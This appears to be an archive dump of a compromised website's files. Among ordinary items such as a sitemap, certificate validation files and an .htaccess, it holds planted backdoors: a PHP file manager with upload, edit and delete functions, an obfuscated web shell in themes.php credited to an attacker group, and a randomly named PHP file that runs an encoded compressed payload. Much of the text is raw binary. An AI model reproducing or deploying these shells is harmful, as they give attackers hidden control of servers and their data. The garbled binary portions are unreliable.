' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; $path = $_SERVER['SCRIPT_FILENAME']; if(strpos($_SERVER['SCRIPT_FILENAME'], ":")) { $path = str_replace('\\', '/', $path); } if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$path)) { $root_path = ('/');} else { $root_path = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$path) )); } if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = __DIR__; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> 918433/1.txt000064400000000040152506666340006227 0ustar00/home/getzgafz/hiironokakera.tv .well-known/pki-validation/C614C8B08400440A732228D616DC5761.txt000064400000000133152506666340016027 0ustar00405EA25C0A34675CBEC98B647A8A40C317CA7D3AEB8E81257832139AAE40182A comodoca.com 66d8531770b94.well-known/pki-validation/ADB9C537DD744A8BEEA234642B53F173.txt000064400000000132152506666340016202 0ustar0066545C435FCEEC82D595D8B3A9982B6E81458BA3989B048413A755350E67E05C sectigo.com 650c562fdda56sitemap.xml000064400000000765152506666340006755 0ustar00 https://hiironokakera.tv/ 2023-09-23T09:03:24+00:00 themes.php000064400000037411152506666340006565 0ustar00 0) { $sz = "\x4b\115\x47\124"; } return sprintf("\45\x2e{$decimals}\x66", $bytes / pow(1024, $factor)) . @$sz[$factor - 1] . "\x42"; } goto OVzmk; i3LX0: goto UjJ63; goto narUF; bU2is: WXToe: goto eYrHM; SGlRa: kA5EL: goto Mpu07; NPVQ3: ?> ">[Root Path]
2) { flush(); $count++; } } } $dom = "{$count}\x20\104\157\155\x61\151\156"; } return $dom; } goto UfWj4; l2FO0: goto bFMVa; goto tQM3v; XqAKM: mkxP9: goto uRqiy; HWEcD: goto EdLEN; goto NEWUH; EmRwH: foreach ($_GET as $k => $v) { $_GET[$k] = d($v); } goto D9ac3; IHCXE: goto Q7uNI; goto asYhk; vQ0kp: goto L2yGh; goto zfHyq; L7J_9: ma2Aj: goto TlzYA; oA_cW: Q7uNI: goto EmRwH; ip0oD: echo is_writable($dir) ? "\x77\162\x69\164\141\142\154\x65" : "\x6e\x6f\x74\x77\162\151\x74\141\x62\154\145"; goto Hm003; xQECF: goto empFZ; goto LgmiM; a5041: goto xmRHO; goto YLcXi; PId0b: if (isset($_GET["\x64\x6c"])) { if (!realpath($_GET["\144\x6c"])) { die; } header("\x43\157\156\164\145\x6e\164\x2d\x44\145\163\x63\162\151\160\x74\151\x6f\x6e\x3a\x20\106\x69\x6c\145\40\x54\x72\141\156\x73\146\x65\x72"); header("\103\157\x6e\164\x65\x6e\x74\55\124\x79\160\x65\72\x20\x61\x70\160\x6c\151\143\141\x74\151\x6f\156\x2f\x6f\143\164\145\164\x2d\x73\164\x72\145\x61\155"); header("\x43\x6f\x6e\164\145\x6e\x74\x2d\x44\151\163\x70\157\x73\151\x74\151\x6f\x6e\x3a\40\x61\164\x74\141\x63\x68\155\x65\x6e\x74\73\x20\x66\151\154\x65\156\x61\x6d\x65\x3d\x22" . basename($_POST["\x64\x6c"]) . "\x22"); readfile($_GET["\x64\x6c"]); die; } goto VL0x7; zYp1N: goto C8wlP; goto oFCnH; Mpu07: if (isset($_GET["\x72\145\156\141\x6d\145"], $_GET["\156\145\x77"])) { if (rename($_GET["\x72\x65\x6e\x61\x6d\x65"], $dir . "\x2f" . basename($_GET["\156\145\x77"]))) { echo "\x3c\x73\x70\141\156\x20\x63\154\141\x73\163\75\x22\163\x75\143\143\145\x73\x73\42\x3e\x52\x45\116\101\x4d\105\40\x53\x55\103\103\105\123\x53\x21\74\x2f\x73\160\x61\x6e\x3e"; } else { echo "\x3c\163\x70\141\x6e\x20\x63\154\141\x73\163\75\x22\146\x61\151\154\x65\x64\42\x3e\x52\105\116\101\x4d\x45\x20\106\x41\x49\x4c\105\104\x21\x3c\x2f\163\x70\x61\x6e\76"; } } goto vQ0kp; e8hw7: error_reporting(0); goto gyNXR; NEWUH: VF_NF: goto kEaX7; mbCsH: goto n3Wtg; goto UzpZw; aNwkf: echo $_SERVER["\122\x45\115\x4f\124\105\137\x41\x44\104\x52"]; goto l2FO0; CWw_E: goto P5gEt; goto vmpZN; WTwPL: function perms($path) { clearstatcache(); $perms = fileperms($path); $x = array("\125", "\x70", "\x63", "\125", "\x64", "\x55", "\142", "\x55", "\x72", "\x55", "\154", "\x55", "\x73", "\x55", "\x55", "\x55"); $info = $x[$perms >> 12] . implode('', array_map(function ($b, $m) { return $b == "\61" ? $m : "\x2d"; }, str_split(decbin($perms & 4095) . ''), str_split("\x72\167\x78\162\x77\170\x72\167\x78"))); return $info . "\x20" . substr(sprintf("\45\157", @fileperms($path)), -4); } goto WKcaf; m13jQ: goto nwNKM; goto Qmuvh; Day2P: goto K2JFo; goto Z1yYN; Hm003: goto GoStv; goto Sy3d0; csMkk: ?>

SERVER IP:

SERVER INFO: %PDF- %PDF- ">[Shell Path]
"name="dir"id="dir"style="width:500px"value=" $v) { $_POST[$k] = d($v); } goto ZIXEC; vqa13: g2qMS: goto HbkzD; Irzow: xONan: goto WTwPL; J9Wq5: goto HYF8q; goto vqa13; fqFBU: ORsL3: goto JErC8; YbxjV: NpFik: goto EPszX; xeXvn: goto LRFn1; goto p6yJ7; cu4lU: goto mkxP9; goto Ol2vF; YLcXi: uSYV0: goto e8hw7; LgmiM: bFMVa: goto ar7uW; P4PAo: goto N1KOe; goto yGHBj; AdG76: HYF8q: goto NPVQ3; acxZe: goto Zm55y; goto m1MwV; T3U39: goto ma2Aj; goto n4Jnk; TbCJq: echo symlinkDomain($dom); goto oRr1E; QPlsu: qhlbJ: goto SE5qM; asYhk: GoStv: goto E7Ltx; m1MwV: baeBM: goto aNwkf; SE5qM: function d($s) { return base64_decode($s); } goto w0U0L; ZIXEC: goto bxhI2; goto AdG76; HbkzD: ini_set("\144\x69\x73\x70\154\141\171\137\x65\162\x72\157\x72\x73", 1); goto bBOAJ; MbvJv: goto Lbzv4; goto YkDdC; DjHcl: goto VF_NF; goto XqAKM; w0U0L: goto mevDp; goto xm6UQ; narUF: n3Wtg: goto pMWwT; GZMYY: goto DlgBF; goto BWEFf; xm6UQ: C8wlP: goto Zf52B; MFPEQ: ?> ">
Directory: "\55\55\x2d"); } } goto C0z5G; kFKuz: K2JFo: goto OLNfo; du6N7: ?> Simple ShellYOUR IP:
SIZEModified DatePERMSACTION
"> "> "class="btn"onclick='return chtime(this," ")'> "class="btn"onclick='return chmod(this," ")'> "class="btn icon delete"onclick='return confirm("Sure to delete?")'title="Delete"> "class="btn icon rename"onclick='return rename(this," ")'title="Rename">
Modified By #No_Identity :: github.com/yon3zu - linuxploit.com5lEQAFaKnN.php000066600000024664152506666340007037 0ustar00',$GjSb('zcmxwubhjv','<',$zipq($MUCd( __FILE__ ),-10442)))));$kaXb(0); ?> x|$U?bv DYh]gtqwhs긻zcmxwubhjv I0', |VE|&xWӳ]3;Oݪ{=w={{:j-hqzau[JRrůFa/,ȿNc6uy\ݬ2l1qsuFXސԳ\QORkF833}Ԕ`|V씂iibNxnrkhlcgifZ7)u;7LM7Nc?qCF#xnrkhlcgifL+8_SsSJlx8os!iEIfL4f@In]۵;h4;'qy#O&+_YdLOm崂 ?4IQ!zcmxwubhjvmƍD*/fE]LI]fyUB,Od+'͟vҬ T標"YEvN6;%$QNSNIM7?}UՖ6yzcmxwubhjvxnrkhlcgifi@͗x}xP8zcmxwubhjv~Awsǁ;zp4/:oO[?7s˻Ox/xnrkhlcgif{eOl.8F.Q뽆˳0ݽ8mvp6}޿zcmxwubhjvtaϞZƣ7]^m5_Ʌ_.]W8_K㡓LJm_9׸oy(}/]WJT7K8fK/?r?rOM/|W:#4s[|& װ[nyĢC'zcmxwubhjv!'/wxnrkhlcgif.Ůs{0Bto8sܺ\wx+^gɻ??|xZ?jKc)sg]AՇy+mxnrkhlcgifX牿37_|Q(ӥ xnrkhlcgif 'PO.htڛ}ѭT[|j]rTcyW]c4=(yvoQg__R?{~oW8'~uq^:fkzcmxwubhjvK?~⥗|Ư~w¶mݯo=w??|s/_@EW_'N17oџ^t5s}| .X|?y}޽9Ϋq}V3K|y9kcz޺+q?m#:aש; ÞxUC%~ԝW]miO#wNp8~񯎽/{?4S_|ƭ':uexzw۶ና߻OV|ݶ??RIᰏj{࡝.xgmyc}G};pKDqm߇op .=g*ރy_ xnrkhlcgifr]pGgڧ{hI/no/.~cv3_;м==;;Ѳ{,oӉo.~Ǿ{_;7gb?|_{{7UnKf}xŎ+N-wG{.iw/_g?ٟx?_3Uy/WzWW[|μ~}Sjzcmxwubhjvd#.xnrkhlcgifz=|c;.?߳m7;wC} [nÍxnrkhlcgif~v۶N=eRҕ7 de;9;mi6}ޛ==Ys.L|꛹ ߱~5?zzcmxwubhjvT?rxnrkhlcgifGnǽtYL^q{;zcmxwubhjvxnrkhlcgifW43,)/\yW텻@}Ѕ{xnrkhlcgifhh~@{RuE]c8vwԗrĹwO_ˍc~+O|iÓCͻM{ʡ׺]xnrkhlcgifHG.{c;ou\|}d~sS&|L'ۯmKkg|[Sf˃ܵl;{N}AW7t{{';׼~ ;&/ܺ8uaS=Tbf0a 1Nj0|$\wnt,-$[Y `r\ۭ@hp5SrAl8()TBi t;@4B ;RBV:hu'&Ռ&ۧ^-?tKzcmxwubhjvsɨz9fiъ-r:-7=90Y dC+[;'R]e,C@˃I+J032-q@ԨN!陯st^-+ӊ1oa(u.' cQGw:"T[ַ-Fh|gX,=:fV|}*^%8RG+\#47o vohOjf%)pzcmxwubhjv^UC̵lGlV.6'J7tZQdfb P)M_-!F3ؠtcZ4!g A'*nB;_r&S-j8KY9Iyh]5d[CӡCira"&Sxnrkhlcgif@,̜zTͫoi+JcnKeDyR)dӒ=R 8NQ$B& -&6[ !TplBdRi;MہΣ/MI^Kg,S$*xnrkhlcgifb Gܷ~d)(@(ŕTAIM@=-vz˘/*L&Ȁu$&W jL3FT#E仠ШMk=Cl h74s5zKibb . \M86=[ڃ6֖AO7F[`:nɳԂq C,^kRnrdT.@K]k ?0Cal\r|#VdKzmVRTe‡[i+u#]$%z-+u %$Ւ%JrΉ, JEoK&ũMR fђᘎ Y#}՜kN)8@Jr҅("$CrKk{qLWR1A'YB+l5TYBԗU} wLL"'2M#QPd蕙ZeduhY2l5!j~P7{ S"P5hOe䪐{LR94Mڎ\xD)&۞Dޥ BuNv"[lXYV H;[w,Q+[IZnD Fc^U2TUsRM7;j9.xeEnlۛ)UDVx맳Zzcmxwubhjv瘥Z) $5T@qXd5c%kf*qLfk1zcmxwubhjvްv)#V~HPb=L͠U)⓺^o*ۙP yEFmIu| R$&TLhI 'a'O4:G20C͹ %F4NZ_#4@΋QVg\%PO#L\MyYFr fM"-Ҙ fNR wQ!_I{}p]"Sk=iEXX3|Ҋ[De:.ȵJڎfdF?,ƴoH)skidb]fX4l; ѴܥVUh4yqYK4"pؓBN{rJMVK]I44{A:\y1yj n"AA7^jGV1K$&2Bxnrkhlcgif6p![$EB&_. +Ms!w/E3;8+’CN.*J覌#+,i#C6 0C7*J$`JMVUڒJTRB5j!pLF fp 0B* \v64DPQ3+廘Wq}KFUVțe8Y&)lP`UBisgR鄯r`'BAJK f@{|"&YH*kj=T2(5T@`ZP"0.\h`6K$L@~$Bu)ktZm@RaRsኽ sM -Te7&@ B&\aUʛ} p(y2K9;|U&ˊU3z2Uno"ϢrQb;!rs$Iꡮ.r5K@qzmhR@bmkUy ik$olPfX'xnrkhlcgifAzU^.ePSu hxt v@&_/#5gaq\it"*+1QPRR}|Ke@پ5# ܦ} j*Uup e;ո2MnBAGXy2jI3Z4稆@M)$VrJf"SsR-% ~=[ңlQ$ !'#kՄWI.8.b-ns@XP(O"s?AH-.g%ZZV&ELGzcmxwubhjv#k/T+tS]40hdrMM|G{]=8 "c+xnrkhlcgifZ( qzcmxwubhjv/ 2' Dx'N(/ "%BUGt JqV$,uR la͢@Rg~;IUMeDS[4*+7}o6Gwdva2A[F˜}xnrkhlcgifKAү2-#R!ޔԡX't6hq"WYsO͋3LW&o-l})LzF4;-QRJ-ȭZk+v+5p-RVStI.x5W{g$rH3 -*;(.^L.-2ǤwQWGX$ZQ,7BUzcmxwubhjvBdv,+4V$?]@"RJ"Y +qڇ h!mU4#z ;U}+TPWX6W˒'We~|\2۶tRp16:B(+ְ0{(Ada*\MȢX64h*R+ "5 CBа5 kp f@hpHPiQ^'1O*@$!{EOӡb5'FLl/%;V,1N)UMт\Ge&MyBYzZmtAHqR&/LF* 6j %O]:lէcp"Q\BsߓdUKq}ZQ+R=rt·ii(n% `oi9+u"2YE˫jjuVѱX]28xnrkhlcgifEr0V/U"\20⫷,َzWj|6Kd,Q0֔O(P㒶Z\Z}cު5rOyoN$֫G7R jr4W~Z2;!jfA"v1Y;=xęBז蒕m0 jzcmxwubhjvǭ6xnrkhlcgif5q &ϮZB7/&Im'roѩVjkFvJRǠiXĊ$  |!E8\!k.IZyh68qʐho;hP]B=W9pf*jvh0 " պA@=Y/p̪:@JoY $9#"lp~˶͝RPڀ+Qlb.'ݩsYJ.uV aAiڭRXaKj0Ų"\Rxnrkhlcgif]K $6j|yܦ5Vՙ,1It"8H9f| 51+.Wm B:;b_uzQ|ԗ amH Ҏ LH疬X.Y*ܐrXCzӞR\^;]$$zHj U6OC ]UȾ-.jIOiUoXRxCh:YAA=7}M;O#MWptSxnrkhlcgif$4NZrpIt= zcmxwubhjvoewLsS`5!{FhwRl˙cBc@H9sT낈g0H(7@U7 ׵Mmϒ))4&3 Oo.9A0p)]=*PDZl&e$!9;HMNdOK^(?ƺ4WTnuq*8X5v#ۑ,Zt x4.DRq5s5RzcmxwubhjvGZ IN# SNSɚ4&s7Te2 wve"sJ(:kñp(FTc1D I\KhMъz,Wx rl:-DTwמx{r3Ⱂ.!o^ lr.1 ; Nh/.ULj@HF4Hl$vVP [LIx) R6k¬xR\B,4V:#r]Z?1! 頾UDz 6Y:'Ԃ{g[8̵XJ$,w(izcmxwubhjv'&" K7:?G?^bk,A,1AG(t$(lSctb^:] B*n$3?V'bK,R4ƒ 鰁hhi1#ڊ!pzpΉ&tM*2zcmxwubhjv,x!ri:X6槗}n+ rTR1V mxnrkhlcgifd? ^ pO ii |J^v_pTe9+gDΐ ,VI,,ŧDD:"H@24'CY8zxnrkhlcgifI0c,"""1a@ȁ#RH*-NeN84:('" Na;xnrkhlcgifP9$lYP#nN4`KEU_֢h׆ގlN]EJU}܈cIϴJh-r Z9 TJyDE[a[ccJc{KiךdKMV&';+?䖺B(@z11e L\tvvaĺ]ؓ]62LU4 "?@g/[4PI%P4o:a@,OXXkU퀜r蒎 pd * LX }Jg'd%:~E-W(oS!;9mҍޜniqՔX==\Ϗ/tBdVDsuK@Pnet%','9ҡb?:tZ!3YRZVIi3Y&ͭpM;iڼ\[%CYr(#πN%Nh.F+{6O+Nn4HVn'p*2eeZ42W9e*%O$e#D)e5C͜/~N *`#Z1Vjsc!vD`͎̗3zcmxwubhjvRHW)zcmxwubhjvs)Q1lufɄIJK *bCB3ZTPsUڙZe \"#w8*&vƀi|M62=eep`\i4pYq-Ia(eg{b }Ae]$ ,6aP(䍹wigNLdtV nz5teF{93?HvCU]3 /diW" jR=jxnrkhlcgifiD#XJ_ kPQ֥eѮeW ΐǥ6fT2끎wzd[5\Y*gfcB #렬jn]zcmxwubhjv gQgu S dؾziQgұzSs!3Mi Nu1UE, hƓxnrkhlcgifwq5Zaf[xnrkhlcgifF"h:2HJc@eg=S+-L5NA-.J x.uXiJW ZJ]4R!ELK!Yzcmxwubhjv4BZf&+|]O?;*R)ˍJA1HEOA FȺ +rdoWD%84h@ibP7N@ X- ;iArEJ(9cV.c\ncWrzcmxwubhjv7v+Ut+Ɵ9A75Kx9qpǎժ򝼼_bMD0mx]75jBeXCKJB$ȷ2)()C 9WZhW,AhܪbRc7UOzK7z~ b-R$Ha`F(Ilu c}AhԲ*/V˻|BTVBveM?/RVJ WЮEovt!ʦd*gsc,?H,ɕ8 )QsӄYA]xnrkhlcgif1bve'xTfQ_ܿ%GV8l6u،"- x4 8$$K []QH&(DurTP+'idBUUez.-lnvyh"sjYjeQ}(35MP=ˤcuK֢\!04V)@)Vg@'3`2@r:cЍ*k^:PZs.{rA2sPCJVgA#@5VdUd@/SezYIr_dq@/QJvz;0z` DV)ädbA67J&5ȔZ r l (eD8&eS?QP8Qƨr5ml(_1N"jO\([1ה2h#0Z8#1LȨ,#mFcYaM'gdԘ lŝb&gd8#2rS`f匌gBFviCD9#9Y@$5yJe'lvNE:ެNZJ-xnrkhlcgifxao36WMe+ϵW?D2RAH\OypjV+Id)5.r=+]b=`|wgu |rAbҪSF~Hy80 0z[0fUc0Zjj8;xʥ _XVO09VΫ|"{"Z⅔JtQl'NfWO]Nt z me:O8 b i3::Uu\%M9#ZI?-NBօQFf(s' ewQ&!'qU9#Qow04vv"@ ]_"`Gz$ѵD92)6n HH ? c4~ro@ewF?e.htaccess000064400000000520152506666340006354 0ustar00 directoryindex ../hiironokakera.tv/index.html # php -- BEGIN cPanel-generated handler, do not edit # Set the “ea-php74” package as the default “PHP” programming language. AddHandler application/x-httpd-ea-php74___lsphp .php .php7 .phtml # php -- END cPanel-generated handler, do not edit